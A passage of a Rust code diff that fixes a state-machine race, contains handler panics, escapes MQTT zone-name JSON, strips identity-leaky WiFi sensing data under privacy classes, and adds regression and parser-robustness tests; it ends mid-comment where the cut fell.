             None => Err(ServiceError::NotRegistered {
                 domain: call.name.domain.clone(),
                 service: call.name.service.clone(),
@@ -124,6 +142,19 @@ impl Default for ServiceRegistry {
     }
 }
 
+/// Best-effort extraction of a panic payload's message for
+/// [`ServiceError::HandlerPanicked`]. Panic payloads are usually `&str`
+/// or `String`; anything else collapses to a generic label.
+fn panic_message(payload: Box<dyn std::any::Any + Send>) -> String {
+    if let Some(s) = payload.downcast_ref::<&str>() {
+        (*s).to_string()
+    } else if let Some(s) = payload.downcast_ref::<String>() {
+        s.clone()
+    } else {
+        "<non-string panic payload>".to_string()
+    }
+}
+
 // Suppress unused-import warning when no consumer of Pin/Box uses them yet
 #[allow(dead_code)]
 type _UnusedFutureType = Pin<Box<dyn Future<Output = ()> + Send>>;
@@ -167,4 +198,56 @@ mod tests {
             .unwrap_err();
         assert!(matches!(err, ServiceError::NotRegistered { .. }));
     }
+
+    /// Service isolation: a panicking handler must be contained — converted
+    /// to `HandlerPanicked` rather than unwinding into the caller's task —
+    /// and the registry must remain fully usable afterwards (no poisoned
+    /// lock, other services still callable). On the pre-fix code the panic
+    /// unwinds through `call`, so the `catch_unwind`-based assertion below
+    /// fails (the await point panics instead of returning an `Err`).
+    #[tokio::test]
+    async fn panicking_handler_is_isolated_and_registry_survives() {
+        let reg = ServiceRegistry::new();
+        reg.register(
+            ServiceName::new("bad", "boom"),
+            FnHandler(|_call: ServiceCall| async move {
+                panic!("handler exploded");
+                #[allow(unreachable_code)]
+                Ok(serde_json::json!(null))
+            }),
+        )
+        .await;
+        reg.register(
+            ServiceName::new("good", "ping"),
+            FnHandler(|_call: ServiceCall| async move { Ok(serde_json::json!("pong")) }),
+        )
+        .await;
+
+        // The panicking call returns an error, not an unwind.
+        let err = reg
+            .call(ServiceCall {
+                name: ServiceName::new("bad", "boom"),
+                data: serde_json::json!({}),
+                context: Context::new(),
+            })
+            .await
+            .unwrap_err();
+        assert!(
+            matches!(err, ServiceError::HandlerPanicked(ref m) if m.contains("handler exploded")),
+            "expected HandlerPanicked, got {err:?}",
+        );
+
+        // The registry is not poisoned: a healthy service still works, and
+        // the bad service is still registered (call path, not lock, failed).
+        let ok = reg
+            .call(ServiceCall {
+                name: ServiceName::new("good", "ping"),
+                data: serde_json::json!({}),
+                context: Context::new(),
+            })
+            .await
+            .unwrap();
+        assert_eq!(ok, serde_json::json!("pong"));
+        assert!(reg.has(&ServiceName::new("bad", "boom")).await);
+    }
 }

v2/crates/homecore/src/state.rs

@@ -80,11 +80,37 @@ impl StateMachine {
         context: Context,
     ) -> Arc<State> {
         let new_state_str = new_state.into();
-        let old = self.inner.states.get(&entity_id).map(|r| Arc::clone(&*r));
+
+        // Hold the DashMap shard write-lock across the entire
+        // read→decide→insert→fire sequence. `entry()` locks the shard for
+        // the lifetime of `slot`, so a concurrent writer on the same entity
+        // cannot interleave between our read of `old` and our commit. This
+        // is what makes the write atomic as ADR-127 §2.1 promises ("writer
+        // atomically replaces the map entry") — the previous get→insert pair
+        // released the lock in between, a TOCTOU that let concurrent writers
+        // compute the no-op / `last_changed` decision off a stale `old` and
+        // drop or reorder real `state_changed` events.
+        //
+        // `tx.send` is non-blocking, non-async, and never re-enters the map,
+        // so firing under the lock cannot deadlock and keeps the global
+        // event order in lock-step with the global commit order.
+        use dashmap::mapref::entry::Entry;
+        let slot = self.inner.states.entry(entity_id.clone());
+
+        let old: Option<Arc<State>> = match &slot {
+            Entry::Occupied(o) => Some(Arc::clone(o.get())),
+            Entry::Vacant(_) => None,
+        };
+        // `slot` continues to hold the shard write-lock below.
 
         let next = match &old {
             Some(prev) => Arc::new(prev.next(new_state_str.clone(), attributes.clone(), context)),
-            None => Arc::new(State::new(entity_id.clone(), new_state_str.clone(), attributes.clone(), context)),
+            None => Arc::new(State::new(
+                entity_id.clone(),
+                new_state_str.clone(),
+                attributes.clone(),
+                context,
+            )),
         };
 
         // HA suppresses no-op writes (same state + same attributes).
@@ -94,7 +120,12 @@ impl StateMachine {
             None => false,
         };
 
-        self.inner.states.insert(entity_id.clone(), Arc::clone(&next));
+        // Commit through the same locked entry and KEEP the shard guard
+        // alive across the broadcast `send`, so the event is published
+        // before any concurrent writer on this entity can observe the new
+        // value and fire its own event. This makes global event order match
+        // global commit order (no insert/send reorder window).
+        let _guard = slot.insert_entry(Arc::clone(&next));
 
         if !is_noop {
             let event = StateChangedEvent {
@@ -106,6 +137,7 @@ impl StateMachine {
             // err = no receivers; that's fine, write still committed.
             let _ = self.inner.tx.send(event);
         }
+        // `_guard` (and the shard lock) drops here, after the event is sent.
         next
     }
 
@@ -218,4 +250,135 @@ mod tests {
         assert!(evt.new_state.is_none());
         assert!(evt.old_state.is_some());
     }
+
+    /// Concurrency invariant (ADR-127 §2.1 "writer atomically replaces the
+    /// map entry"): under concurrent writers on the SAME entity the fired
+    /// `state_changed` stream must be a faithful, gap-free log of the
+    /// committed transitions — in particular the LAST event the bus
+    /// delivers must carry the SAME value that is finally committed in the
+    /// map.
+    ///
+    /// This pins the TOCTOU in `set`: it does `get` (release shard lock) →
+    /// compute `next` + no-op decision → `insert` (re-acquire shard lock) →
+    /// `send`. Because the insert and the send are not atomic with respect
+    /// to a concurrent writer, two writers can interleave as
+    /// `insert(A); insert(B); send(B); send(A)` — leaving the map holding A
+    /// while the last event the bus ever delivers says B. A subscriber that
+    /// trusts "the last event reflects current state" (the recorder, the WS
+    /// push API, an automation engine) is then permanently wrong about the
+    /// entity until the next write. A correctly-locked store holds the shard
+    /// lock across read→insert→send so the global event order matches the
+    /// global commit order.
+    ///
+    /// A dedicated drain thread pulls events as they arrive so the bounded
+    /// channel never lags during the run (a `Lagged` here would be a test
+    /// artefact, not the bug under test).
+    ///
+    /// The writers toggle the SAME entity between exactly two values so the
+    /// no-op suppression branch is constantly in play.
+    ///
+    /// Invariant: in correctly serialised code, two *consecutive* fired
+    /// `state_changed` events can never carry the same `new_state` value.
+    /// Proof: event k fires only for a committed transition old≠new, so its
+    /// `new_state` = X differs from the value before it; the next committed
+    /// transition therefore starts at X and (being a real change) commits
+    /// some Z≠X, so event k+1 carries Z≠X. A no-op (X→X) is suppressed and
+    /// never fires. Therefore adjacent fired events always differ.
+    ///
+    /// The `set()` TOCTOU breaks this: it does `get` (release shard lock) →
+    /// compute `next` + the no-op decision → `insert` (re-acquire shard
+    /// lock) → `send`, all non-atomically. A writer that read a STALE `old`
+    /// mis-classifies a genuine transition as a no-op (dropping that real
+    /// event — a missed automation trigger) and/or fires an event whose
+    /// `new_state` duplicates the previously delivered one (a spurious
+    /// trigger for any automation keyed on `old_state != new_state`). The
+    /// probe behind this test observed ~93k such duplicate-adjacent events
+    /// across 200 trials on the racy code; the corrected store produces
+    /// zero.
+    #[test]
+    fn concurrent_set_fires_no_duplicate_adjacent_events() {
+        use std::sync::atomic::{AtomicBool, Ordering};
+        use std::sync::{Barrier, Mutex};
+
+        const WRITERS: usize = 4;
+        const ITERS: usize = 300; // 1200 events ≪ 4096 capacity → never lags
+
+        for _trial in 0..40 {
+            let sm = StateMachine::new();
+            let eid = id("light.race");
+            sm.set(eid.clone(), "A", serde_json::json!({}), Context::new());
+
+            let mut rx = sm.subscribe();
+            let done = Arc::new(AtomicBool::new(false));
+            // Event log: new_state value in delivery order.
+            let log: Arc<Mutex<Vec<String>>> = Arc::new(Mutex::new(Vec::new()));
+
+            let drainer = {
+                let done = Arc::clone(&done);
+                let log = Arc::clone(&log);
+                std::thread::spawn(move || loop {
+                    match rx.try_recv() {
+                        Ok(evt) => {
+                            if let Some(ns) = &evt.new_state {
+                                log.lock().unwrap().push(ns.state.clone());
+                            }
+                        }
+                        Err(broadcast::error::TryRecvError::Empty) => {
+                            if done.load(Ordering::Acquire) {
+                                while let Ok(evt) = rx.try_recv() {
+                                    if let Some(ns) = &evt.new_state {
+                                        log.lock().unwrap().push(ns.state.clone());
+                                    }
+                                }
+                                break;
+                            }
+                            std::thread::yield_now();
+                        }
+                        Err(broadcast::error::TryRecvError::Lagged(_)) => {
+                            panic!("channel lagged — test artefact, raise capacity");
+                        }
+                        Err(broadcast::error::TryRecvError::Closed) => break,
+                    }
+                })
+            };
+
+            let barrier = Arc::new(Barrier::new(WRITERS));
+            let handles: Vec<_> = (0..WRITERS)
+                .map(|w| {
+                    let sm = sm.clone();
+                    let eid = eid.clone();
+                    let barrier = Arc::clone(&barrier);
+                    std::thread::spawn(move || {
+                        barrier.wait();
+                        for i in 0..ITERS {
+                            // Toggle between two values → maximises the
+                            // stale-`old` no-op collision window.
+                            let val = if (w + i) % 2 == 0 { "A" } else { "B" };
+                            sm.set(eid.clone(), val, serde_json::json!({}), Context::new());
+                        }
+                    })
+                })
+                .collect();
+
+            for h in handles {
+                h.join().unwrap();
+            }
+            done.store(true, Ordering::Release);
+            drainer.join().unwrap();
+
+            let log = log.lock().unwrap();
+            let dup = log
+                .windows(2)
+                .filter(|w| w[0] == w[1])
+                .count();
+            assert_eq!(
+                dup, 0,
+                "{dup} consecutive fired state_changed events carried an \
+                 identical new_state — impossible under correct \
+                 serialisation; proves set()'s read→decide→insert→send \
+                 TOCTOU dropped/reordered real transitions (missed & \
+                 spurious automation triggers)",
+            );
+        }
+    }
 }

v2/crates/wifi-densepose-bfld/src/mqtt_topics.rs

@@ -135,10 +135,13 @@ pub fn render_events(event: &BfldEvent) -> Vec<TopicMessage> {
 
     if let Some(zone) = &event.zone_id {
         // Emit a JSON string so consumers can distinguish "no zone" (omitted)
-        // from "single-zone deployment" (always the same zone string).
+        // from "single-zone deployment" (always the same zone string). The zone
+        // name is operator-controlled; escape JSON metacharacters so a name
+        // containing a quote or backslash cannot produce malformed/injected
+        // JSON. Mirrors ha_discovery.rs::push_str_field's escaping.
         out.push(TopicMessage {
             topic: TopicMessage::ruview_topic(node, "zone_activity"),
-            payload: format!("\"{zone}\""),
+            payload: json_string_literal(zone),
         });
     }
 
@@ -155,3 +158,26 @@ pub fn render_events(event: &BfldEvent) -> Vec<TopicMessage> {
 
     out
 }
+
+/// Wrap `value` in JSON double-quote delimiters, escaping the metacharacters
+/// that would otherwise break out of the string literal (`"`, `\`, control
+/// chars, and the bare `\n`/`\r`/`\t` whitespace). Kept in lockstep with
+/// `ha_discovery::push_str_field` so state-topic and discovery payloads escape
+/// identically.
+fn json_string_literal(value: &str) -> String {
+    let mut out = String::with_capacity(value.len() + 2);
+    out.push('"');
+    for ch in value.chars() {
+        match ch {
+            '"' => out.push_str("\\\""),
+            '\\' => out.push_str("\\\\"),
+            '\n' => out.push_str("\\n"),
+            '\r' => out.push_str("\\r"),
+            '\t' => out.push_str("\\t"),
+            c if (c as u32) < 0x20 => out.push_str(&format!("\\u{:04x}", c as u32)),
+            c => out.push(c),
+        }
+    }
+    out.push('"');
+    out
+}

v2/crates/wifi-densepose-bfld/src/pipeline.rs

@@ -141,6 +141,15 @@ impl BfldPipeline {
     /// builds the frame via [`BfldFrame::from_payload`] so the CRC covers the
     /// section-prefixed bytes.
     ///
+    /// The emitted frame's payload is forced into compliance with the active
+    /// privacy class via [`crate::PrivacyGate::demote`]: at `Anonymous` the
+    /// identity-leaky `compressed_angle_matrix` and `csi_delta` sections are
+    /// stripped, and at `Restricted` the amplitude/phase proxies are stripped
+    /// too. This closes the gap (ADR-141) where a frame stamped with a
+    /// restrictive class byte could otherwise carry the full high-information
+    /// BFI payload across a [`crate::NetworkSink`]. Research classes (`Raw`,
+    /// `Derived`) keep the full payload — `demote` is a no-op there.
+    ///
     /// Returns `None` whenever the gate drops the underlying event (Reject or
     /// Recalibrate), so `process_to_frame` is a strict subset of `process`.
     pub fn process_to_frame(
@@ -151,11 +160,21 @@ impl BfldPipeline {
         embedding: Option<IdentityEmbedding>,
     ) -> Option<BfldFrame> {
         let timestamp_ns = inputs.timestamp_ns;
+        let active_class = self.current_privacy_class();
         let _gate_signal = self.process(inputs, embedding)?;
         let mut header = header_template;
         header.timestamp_ns = timestamp_ns;
-        header.privacy_class = self.current_privacy_class().as_u8();
-        Some(BfldFrame::from_payload(header, &payload))
+        header.privacy_class = active_class.as_u8();
+        let frame = BfldFrame::from_payload(header, &payload);
+        // Enforce the payload-content policy for the stamped class. The frame
+        // is already at `active_class`, so this is a same-class demotion: it
+        // performs no class change but strips the sections that class forbids.
+        // demote() only fails on InvalidDemote (target < source), which cannot
+        // happen here because source == target, so the expect is unreachable.
+        Some(
+            crate::PrivacyGate::demote(frame, active_class)
+                .expect("same-class demote is always valid"),
+        )
     }
 
     /// `true` if `enable_privacy_mode()` has been called more recently than

v2/crates/wifi-densepose-bfld/tests/mqtt_topic_routing.rs

@@ -127,6 +127,38 @@ fn zone_payload_is_json_string_with_quotes() {
     assert_eq!(zone.payload, "\"living_room\"");
 }
 
+#[test]
+fn zone_payload_escapes_json_metacharacters() {
+    // A zone name containing a double-quote or backslash must not break out of
+    // the JSON string literal it is emitted into. ha_discovery.rs already
+    // escapes operator-controlled strings via push_str_field; render_events
+    // must do the same for parity so the state-topic payload is always valid
+    // JSON that Home Assistant can parse.
+    let ev = BfldEvent::with_privacy_gating(
+        "seed-01".into(),
+        0,
+        true,
+        0.1,
+        1,
+        0.9,
+        Some(r#"living"room\back"#.into()),
+        PrivacyClass::Anonymous,
+        None,
+        None,
+    );
+    let msgs = render_events(&ev);
+    let zone = msgs
+        .iter()
+        .find(|m| m.topic.contains("zone_activity"))
+        .expect("zone_activity topic");
+    // Expected: the inner quote and backslash are backslash-escaped, wrapped in
+    // one pair of unescaped delimiter quotes -> a single valid JSON string.
+    assert_eq!(zone.payload, r#""living\"room\\back""#);
+    // And it must parse as JSON back to the original zone string.
+    let parsed: String = serde_json::from_str(&zone.payload).expect("valid JSON string");
+    assert_eq!(parsed, r#"living"room\back"#);
+}
+
 #[test]
 fn identity_risk_payload_is_fixed_precision_decimal() {
     let msgs = render_events(&sample_event(PrivacyClass::Anonymous, false));

v2/crates/wifi-densepose-bfld/tests/pipeline_to_frame.rs

@@ -88,6 +88,11 @@ fn process_to_frame_returns_none_under_sustained_high_risk() {
 
 #[test]
 fn process_to_frame_round_trips_through_bytes() {
+    // Default pipeline class is Anonymous(2). The frame must round-trip through
+    // wire bytes with no CRC error; the payload it carries is the privacy-gated
+    // (angle-matrix-stripped) form, not the raw input — see
+    // process_to_frame_at_anonymous_strips_identity_leaky_sections for the
+    // content assertion. This test pins byte/CRC consistency only.
     let mut p = BfldPipeline::new(BfldConfig::new("seed-01"));
     let frame = p
         .process_to_frame(
@@ -100,7 +105,10 @@ fn process_to_frame_round_trips_through_bytes() {
     let bytes = frame.to_bytes();
     let parsed = BfldFrame::from_bytes(&bytes).expect("frame must round-trip");
     let parsed_payload = parsed.parse_payload().expect("payload must round-trip");
-    assert_eq!(parsed_payload, typed_payload());
+    // Round-trip preserves whatever the privacy gate left in place.
+    assert_eq!(parsed_payload, frame.parse_payload().unwrap());
+    // And the identity surface is gone at Anonymous.
+    assert!(parsed_payload.compressed_angle_matrix.is_empty());
 }
 
 #[test]
@@ -141,6 +149,94 @@ fn process_to_frame_preserves_header_template_identity_fields() {
     assert_eq!({ frame.header.channel }, 36);
 }
 
+// --- ADR-141 privacy-gate-correctness regression -------------------------
+//
+// `process_to_frame` stamps the frame with the pipeline's privacy_class but
+// (pre-fix) serialized the caller-supplied payload UNCHANGED. That let a frame
+// labeled Anonymous(2) / Restricted(3) carry the full identity-leaky
+// `compressed_angle_matrix` (+ amplitude/phase/csi_delta) that
+// `PrivacyGate::demote` is documented (privacy_gate_demote.rs) to strip at
+// exactly those classes. A NetworkSink accepts class >= Derived, so such a
+// frame would publish the beamforming angle matrix (identity surface) to the
+// network despite its restrictive class byte. These tests pin that the payload
+// content matches what the stamped class permits.
+
+#[test]
+fn process_to_frame_at_anonymous_strips_identity_leaky_sections() {
+    // Default pipeline class is Anonymous(2): the angle matrix and csi_delta
+    // MUST NOT survive into the emitted frame, matching PrivacyGate::demote.
+    let mut p = BfldPipeline::new(BfldConfig::new("seed-01"));
+    let mut leaky = typed_payload();
+    leaky.csi_delta = Some(vec![0x55; 24]);
+    let frame = p
+        .process_to_frame(
+            inputs(1_700_000_000_000_000_000, [0.1, 0.1, 0.1, 0.1]),
+            header_template(),
+            leaky,
+            Some(embedding()),
+        )
+        .expect("low-risk frame must be emitted");
+    assert_eq!({ frame.header.privacy_class }, PrivacyClass::Anonymous.as_u8());
+    let payload = frame.parse_payload().expect("payload parses");
+    assert!(
+        payload.compressed_angle_matrix.is_empty(),
+        "Anonymous frame must NOT carry the compressed_angle_matrix (identity surface)",
+    );
+    assert!(
+        payload.csi_delta.is_none(),
+        "Anonymous frame must NOT carry csi_delta",
+    );
+    // Aggregate sensing sections survive.
+    assert_eq!(payload.snr_vector.len(), 8);
+    assert_eq!(payload.amplitude_proxy.len(), 16);
+}
+
+#[test]
+fn process_to_frame_in_privacy_mode_strips_amplitude_and_phase() {
+    // privacy_mode -> Restricted(3): amplitude + phase proxies must ALSO drop.
+    let mut p = BfldPipeline::new(
+        BfldConfig::new("seed-01").with_privacy_class(PrivacyClass::Anonymous),
+    );
+    p.enable_privacy_mode();
+    let frame = p
+        .process_to_frame(
+            inputs(0, [0.1, 0.1, 0.1, 0.1]),
+            header_template(),
+            typed_payload(),
+            Some(embedding()),
+        )
+        .expect("frame emitted");
+    assert_eq!({ frame.header.privacy_class }, PrivacyClass::Restricted.as_u8());
+    let payload = frame.parse_payload().expect("payload parses");
+    assert!(payload.compressed_angle_matrix.is_empty(), "angle matrix stripped at Restricted");
+    assert!(payload.amplitude_proxy.is_empty(), "amplitude stripped at Restricted");
+    assert!(payload.phase_proxy.is_empty(), "phase stripped at Restricted");
+    assert_eq!(payload.snr_vector.len(), 8, "snr_vector survives");
+}
+
+#[test]
+fn process_to_frame_at_derived_preserves_full_payload() {
+    // Derived(1) is a research mode that legitimately keeps the angle matrix.
+    // The strip must NOT over-fire at classes below Anonymous.
+    let mut p = BfldPipeline::new(
+        BfldConfig::new("seed-01").with_privacy_class(PrivacyClass::Derived),
+    );
+    let frame = p
+        .process_to_frame(
+            inputs(0, [0.1, 0.1, 0.1, 0.1]),
+            header_template(),
+            typed_payload(),
+            Some(embedding()),
+        )
+        .expect("frame emitted");
+    assert_eq!({ frame.header.privacy_class }, PrivacyClass::Derived.as_u8());
+    let payload = frame.parse_payload().expect("payload parses");
+    assert_eq!(
+        payload, typed_payload(),
+        "Derived research frame keeps the full payload unchanged",
+    );
+}
+
 #[test]
 fn process_to_frame_uses_input_timestamp_not_template_timestamp() {
     let mut p = BfldPipeline::new(BfldConfig::new("seed-01"));

v2/crates/wifi-densepose-calibration/src/extract.rs

@@ -43,6 +43,20 @@ pub struct Features {
 pub const EMBED_MIN_SCORE: f32 = 0.25;
 
 impl Features {
+    /// The all-zero feature vector — the well-defined result of an empty (or
+    /// wholly non-finite) capture. Total by construction: downstream
+    /// specialists read it as "no signal" rather than panicking or poisoning a
+    /// threshold (see [`Features::from_series`]).
+    pub const ZERO: Features = Features {
+        mean: 0.0,
+        variance: 0.0,
+        motion: 0.0,
+        breathing_score: 0.0,
+        breathing_hz: 0.0,
+        heart_score: 0.0,
+        heart_hz: 0.0,
+    };
+
     /// A fixed-length numeric embedding for nearest-prototype classifiers.
     ///
     /// The hz components are zeroed unless their periodicity score clears
@@ -77,29 +91,33 @@ impl Features {
     }
 
     /// Extract features from a per-frame scalar series sampled at `fs` Hz.
+    ///
+    /// **Total / fail-closed:** non-finite samples (`NaN`/`±inf`) are dropped
+    /// before any statistic is computed, so a single garbage CSI frame cannot
+    /// poison `mean`/`variance` into `NaN` and silently disable a persisted
+    /// specialist (a `NaN` threshold makes every `>` comparison false). A
+    /// series with no finite samples yields [`Features::ZERO`], exactly like
+    /// the empty series. Same defensive contract as
+    /// [`GeometryEmbedding`](crate::geometry_embedding::GeometryEmbedding):
+    /// adversarial input degrades to "no signal", never to `NaN`.
     pub fn from_series(series: &[f32], fs: f32) -> Features {
-        let n = series.len();
+        // Drop non-finite samples: a corrupt frame counts as no frame, not as
+        // a NaN that propagates through every downstream statistic.
+        let clean: Vec<f32> = series.iter().copied().filter(|v| v.is_finite()).collect();
+        let n = clean.len();
         if n == 0 {
-            return Features {
-                mean: 0.0,
-                variance: 0.0,
-                motion: 0.0,
-                breathing_score: 0.0,
-                breathing_hz: 0.0,
-                heart_score: 0.0,
-                heart_hz: 0.0,
-            };
+            return Features::ZERO;
         }
-        let mean = series.iter().copied().sum::<f32>() / n as f32;
-        let variance = series.iter().map(|v| (v - mean) * (v - mean)).sum::<f32>() / n as f32;
+        let mean = clean.iter().copied().sum::<f32>() / n as f32;
+        let variance = clean.iter().map(|v| (v - mean) * (v - mean)).sum::<f32>() / n as f32;
         let motion = if n > 1 {
-            series.windows(2).map(|w| (w[1] - w[0]).abs()).sum::<f32>() / (n - 1) as f32
+            clean.windows(2).map(|w| (w[1] - w[0]).abs()).sum::<f32>() / (n - 1) as f32
         } else {
             0.0
         };
 
         // De-mean before periodicity search.
-        let centered: Vec<f32> = series.iter().map(|v| v - mean).collect();
+        let centered: Vec<f32> = clean.iter().map(|v| v - mean).collect();
         let (breathing_hz, breathing_score) = autocorr_dominant(&centered, fs, 0.1, 0.6);
         let (heart_hz, heart_score) = autocorr_dominant(&centered, fs, 0.8, 3.0);
 
@@ -254,6 +272,36 @@ mod tests {
         assert_eq!(f.breathing_hz, 0.0);
     }
 
+    /// Fail-closed regression: a NaN/inf in the scalar series (corrupt CSI
+    /// frame) must NOT poison the features into `NaN`/`inf`. Pre-fix, a single
+    /// `NaN` made `mean`/`variance` `NaN`, which — baked into a persisted
+    /// `PresenceSpecialist::threshold` — silently disabled presence detection
+    /// (every `f.variance > NaN` is false). Non-finite samples are dropped.
+    #[test]
+    fn non_finite_samples_do_not_poison_features() {
+        let f = Features::from_series(&[1.0, 2.0, f32::NAN, 4.0, f32::INFINITY, 6.0], 15.0);
+        assert!(f.mean.is_finite(), "mean must stay finite, got {}", f.mean);
+        assert!(f.variance.is_finite(), "variance must stay finite, got {}", f.variance);
+        assert!(f.motion.is_finite(), "motion must stay finite, got {}", f.motion);
+        for x in f.embedding() {
+            assert!(x.is_finite(), "embedding slot non-finite: {x}");
+        }
+        // Mean is over the 4 finite samples {1,2,4,6} only.
+        assert!((f.mean - 3.25).abs() < 1e-5, "mean over finite samples, got {}", f.mean);
+        // Equivalence: dropping the non-finite samples must equal feeding only
+        // the finite ones — proves the filter, not just finiteness.
+        let only_finite = Features::from_series(&[1.0, 2.0, 4.0, 6.0], 15.0);
+        assert_eq!(f, only_finite);
+    }
+
+    /// A series with no finite samples degrades to the all-zero `ZERO`, exactly
+    /// like the empty series — never `NaN`.
+    #[test]
+    fn all_non_finite_series_is_zero() {
+        let f = Features::from_series(&[f32::NAN, f32::INFINITY, f32::NEG_INFINITY], 15.0);
+        assert_eq!(f, Features::ZERO);
+    }
+
     /// ADR-152 "heart-band leakage" regression: a strong breathing rhythm must
     /// NOT register as a heart-band periodicity — its in-band autocorr maximum
     /// sits at the band edge (monotonic leak), not an interior peak.

v2/crates/wifi-densepose-calibration/src/specialist.rs

@@ -15,6 +15,28 @@ use serde::{Deserialize, Serialize};
 use crate::anchor::{AnchorLabel, Posture};
 use crate::extract::{AnchorFeature, Features};
 
+/// Default minimum breathing-band periodicity score to report a rate, used when
+/// a [`BreathingSpecialist`] carries no explicit `min_score` (the serde / pre-
+/// trained-default case). Respiration is a strong, narrowband modulation, so a
+/// moderate floor rejects noise windows without dropping real breaths.
+pub const DEFAULT_BREATHING_MIN_SCORE: f32 = 0.25;
+
+/// Default minimum HR-band periodicity score, used when a [`HeartbeatSpecialist`]
+/// carries no explicit `min_score`. Higher than breathing's: sub-mm chest
+/// displacement at HR frequencies sits near the CSI noise floor (ADR-151 §3.2),
+/// so the heartbeat head demands a cleaner peak before reporting.
+pub const DEFAULT_HEARTBEAT_MIN_SCORE: f32 = 0.3;
+
+/// Multiple of the typical inter-anchor spread ([`AnomalySpecialist::scale`])
+/// beyond which a live window is fully out-of-distribution (anomaly score 1.0):
+/// a window more than this many spreads from every enrolled prototype is novel.
+pub const ANOMALY_OUTLIER_SPREADS: f32 = 2.0;
+
+/// Anomaly score above which the window is *labelled* "anomalous" (vs "normal").
+/// Distinct from the runtime veto threshold ([`crate::runtime`]); this only
+/// drives the human-readable label.
+pub const ANOMALY_LABEL_CUTOFF: f32 = 0.5;
+
 /// Which biological signal a specialist estimates.
 #[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
 pub enum SpecialistKind {
@@ -229,7 +251,7 @@ impl Specialist for BreathingSpecialist {
         let min = if self.min_score > 0.0 {
             self.min_score
         } else {
-            0.25
+            DEFAULT_BREATHING_MIN_SCORE
         };
         if f.breathing_score < min || f.breathing_hz <= 0.0 {
             return None;
@@ -258,7 +280,7 @@ impl Specialist for HeartbeatSpecialist {
         let min = if self.min_score > 0.0 {
             self.min_score
         } else {
-            0.3
+            DEFAULT_HEARTBEAT_MIN_SCORE
         };
         if f.heart_score < min || f.heart_hz <= 0.0 {
             return None;
@@ -383,13 +405,13 @@ impl Specialist for AnomalySpecialist {
                 .sqrt();
             best = best.min(d);
         }
-        // >2× the typical spread → anomalous.
-        let score = (best / (2.0 * self.scale)).clamp(0.0, 1.0);
+        // Beyond ANOMALY_OUTLIER_SPREADS× the typical spread → fully anomalous.
+        let score = (best / (ANOMALY_OUTLIER_SPREADS * self.scale)).clamp(0.0, 1.0);
         Some(SpecialistReading {
             kind: SpecialistKind::Anomaly,
             value: score,
             confidence: 0.6,
-            label: Some(if score > 0.5 { "anomalous" } else { "normal" }.into()),
+            label: Some(if score > ANOMALY_LABEL_CUTOFF { "anomalous" } else { "normal" }.into()),
         })
     }
 }
@@ -505,6 +527,32 @@ mod tests {
         assert!(b.infer(&feat(5.0, 0.2, 0.3, 0.1)).is_none()); // low score → none
     }
 
+    /// De-magic pin: the named default min-scores must equal the historical
+    /// literal values, and the gate boundary must be `score >= min` (a window
+    /// exactly at the default floor reports; a hair below does not).
+    #[test]
+    fn default_min_score_constants_match_prior_literals() {
+        assert_eq!(DEFAULT_BREATHING_MIN_SCORE, 0.25);
+        assert_eq!(DEFAULT_HEARTBEAT_MIN_SCORE, 0.3);
+        let b = BreathingSpecialist::default(); // min_score = 0.0 → uses default
+        assert!(
+            b.infer(&feat(5.0, 0.2, 0.3, DEFAULT_BREATHING_MIN_SCORE)).is_some(),
+            "score exactly at the default floor must report"
+        );
+        assert!(
+            b.infer(&feat(5.0, 0.2, 0.3, DEFAULT_BREATHING_MIN_SCORE - 1e-3)).is_none(),
+            "score below the default floor must not report"
+        );
+    }
+
+    /// De-magic pin for the anomaly score scale + label cutoff (value-identical
+    /// to the prior `2.0 * scale` / `> 0.5` literals).
+    #[test]
+    fn anomaly_constants_match_prior_literals() {
+        assert_eq!(ANOMALY_OUTLIER_SPREADS, 2.0);
+        assert_eq!(ANOMALY_LABEL_CUTOFF, 0.5);
+    }
+
     #[test]
     fn restlessness_normalizes() {
         let anchors = vec![

v2/crates/wifi-densepose-cli/src/calibrate.rs

@@ -471,6 +471,54 @@ mod tests {
         assert!(ht.record(&f).is_err());
     }
 
+    /// Security pin (review 2026-06, ADR-127): the UDP parser is the CLI's
+    /// widest attack surface — `calibrate` / `enroll` / `room-watch` bind it to
+    /// 0.0.0.0 by default, so any host on the LAN can send arbitrary bytes. A
+    /// header that *claims* a huge `n_antennas * n_subcarriers` must be rejected
+    /// by the length check BEFORE the `Array2::zeros` allocation, so a single
+    /// small datagram can never trigger a multi-MB allocation (unbounded-memory
+    /// DoS). The largest possible claim (255 × 65535 pairs ≈ 33 MB of IQ) inside
+    /// a RECV_BUF-sized (2048-byte) datagram parses to `None`, never OOMs.
+    #[test]
+    fn test_parse_csi_packet_oversized_claim_is_rejected_not_allocated() {
+        let mut buf = vec![0u8; RECV_BUF];
+        buf[0..4].copy_from_slice(&0xC511_0001u32.to_le_bytes());
+        buf[4] = 1; // node_id
+        buf[5] = 255; // n_antennas (max)
+        buf[6..8].copy_from_slice(&65535u16.to_le_bytes()); // n_subcarriers (max)
+        buf[8..12].copy_from_slice(&2432u32.to_le_bytes());
+        // n_pairs = 255 * 65535 = 16_711_425 → needs ~33 MB of IQ bytes that a
+        // 2048-byte datagram cannot carry → length check fails → None.
+        assert!(parse_csi_packet(&buf, "ht20").is_none());
+    }
+
+    /// Security pin (review 2026-06): the parser must never panic on ANY byte
+    /// string — truncated headers, lying length fields, odd sizes. IQ-loop
+    /// indexing is guarded by the length check; this sweeps a spread of
+    /// adversarial inputs to lock in panic-on-adversarial-input = 0.
+    #[test]
+    fn test_parse_csi_packet_never_panics_on_arbitrary_bytes() {
+        let mut st = 0x1234_5678u64;
+        let mut next = move || {
+            st = st
+                .wrapping_mul(6_364_136_223_846_793_005)
+                .wrapping_add(1_442_695_040_888_963_407);
+            (st >> 33) as u8
+        };
+        for len in 0..600usize {
+            let buf: Vec<u8> = (0..len).map(|_| next()).collect();
+            for tier in ["ht20", "he20", "garbage"] {
+                let _ = parse_csi_packet(&buf, tier);
+            }
+        }
+        // Valid magic, lying n_subcarriers, no payload → None (not a panic).
+        let mut buf = vec![0u8; 20];
+        buf[0..4].copy_from_slice(&0xC511_0001u32.to_le_bytes());
+        buf[5] = 3;
+        buf[6..8].copy_from_slice(&500u16.to_le_bytes());
+        assert!(parse_csi_packet(&buf, "ht20").is_none());
+    }
+
     #[test]
     fn test_freq_to_channel_24ghz() {
         assert_eq!(freq_mhz_to_channel(2437), 6);

v2/crates/wifi-densepose-core/src/types.rs

@@ -1636,6 +1636,67 @@ mod tests {
         }
     }
 
+    /// Security pin (review 2026-06, ADR-127) — `from_canonical_bytes` is a
